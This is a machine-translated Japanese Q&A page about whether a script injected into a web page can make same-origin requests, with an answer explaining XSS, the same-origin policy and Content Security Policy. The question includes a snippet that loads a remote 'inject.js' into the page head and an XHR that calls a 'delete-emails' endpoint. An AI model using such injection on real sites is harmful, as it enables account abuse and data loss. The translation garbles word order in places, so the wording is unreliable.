0

一部のサーバーでは、srcとスクリプトの要素を動的に挿入できます。スクリプトインジェクションによるリモートコントロール

私たちはのようなものを行うことができますによる同一生成元ポリシーではなく別のサーバーにデータを送信することはできません。

  • は、いくつかのmailserviceと
  • 内のすべての電子メールがお店にいくつかの受注を作る削除
  • 書き込みsocialnetwork上のメッセージのように...

原因スクリプトが中に注入しましたページxサーバであり、サーバにリクエストしています、何も間違っていません - 同じ発信元ポリシーが機能しません。

このサーバーはデフォルトでは保護されていませんか? 「スクリプト-SRC 『安全ではない-evalを』 『危険なインライン』

を:それは、次のコンテンツセキュリティポリシーの指示に違反しているため

は、スクリプトをロードするために拒否:我々はこれを持って保護されたサーバーで

q=document.createElement('script'); 
q.src='http://myserver.com/inject.js'; 
document.head.append(q); 

このようなスクリプトはChromeの拡張機能にラップしてインストールすることができます。(私はここで間違ってまたは多分拡張はいくつかのより多くの制約を得たのですか?)

私はstackoverflow.comにページを(頭に)スクリプト要素を挿入した場合、私は200 OKを取得し、例えば

var xhr = new XMLHttpRequest(); 
xhr.open('GET', 'http://stackoverflow.com/?delete-emails'); 
xhr.onreadystatechange = function() { 
    if (this.readyState === 4 && this.status === 200) { 
     console.log(location.href); 
    } 
}; 
xhr.send(); 

:3210

そして、ここではと仮定し、サーバーが削除・電子メールのPARAMで要求を処理しているinject.jsです。

答えて

2

原因スクリプトがサーバーAからページxに挿入され、サーバーAにリクエストが送信されていますが、ここで何も間違っていません - 同じ発信元ポリシーが機能しません。

このサーバーはデフォルトでは保護されていませんか?

そうです。あなたが説明しているのはCross-site Scripting (XSS)であり、同じ起源ポリシーはそれをあなたから保護しません。 「スクリプト-SRC 『安全ではない-evalを』 『危険なインライン』

を:それは、次のコンテンツセキュリティポリシーの指示に違反しているため

は、スクリプトをロードするために拒否:我々はこれを持って保護されたサーバーで

Content Security Policyは、同じ発信元ポリシーとは異なります。サーバーが許可するページの制限をサーバーが宣言できるようにするメカニズムです。これは、攻撃者がスクリプトを挿入することができたとしても、ブラウザがCSPに違反することを許可しないため、XSSを防ぐのに役立ちます。

このようなスクリプトはクロム拡張子にラップしてインストールできます。

通常、ブラウザの拡張機能では、通常のブラウザセキュリティポリシーの影響を受けないあらゆる種類の安全でない操作が許可されている必要があります。異なるブラウザ拡張フレームワークは、異なるセキュリティ保証を行いますが、ブラウザ間で標準化されたものではありません。 Chromeで何が許可されているかについて特定の質問がある場合は、おそらく別の質問を投稿する必要があります。

関連する問題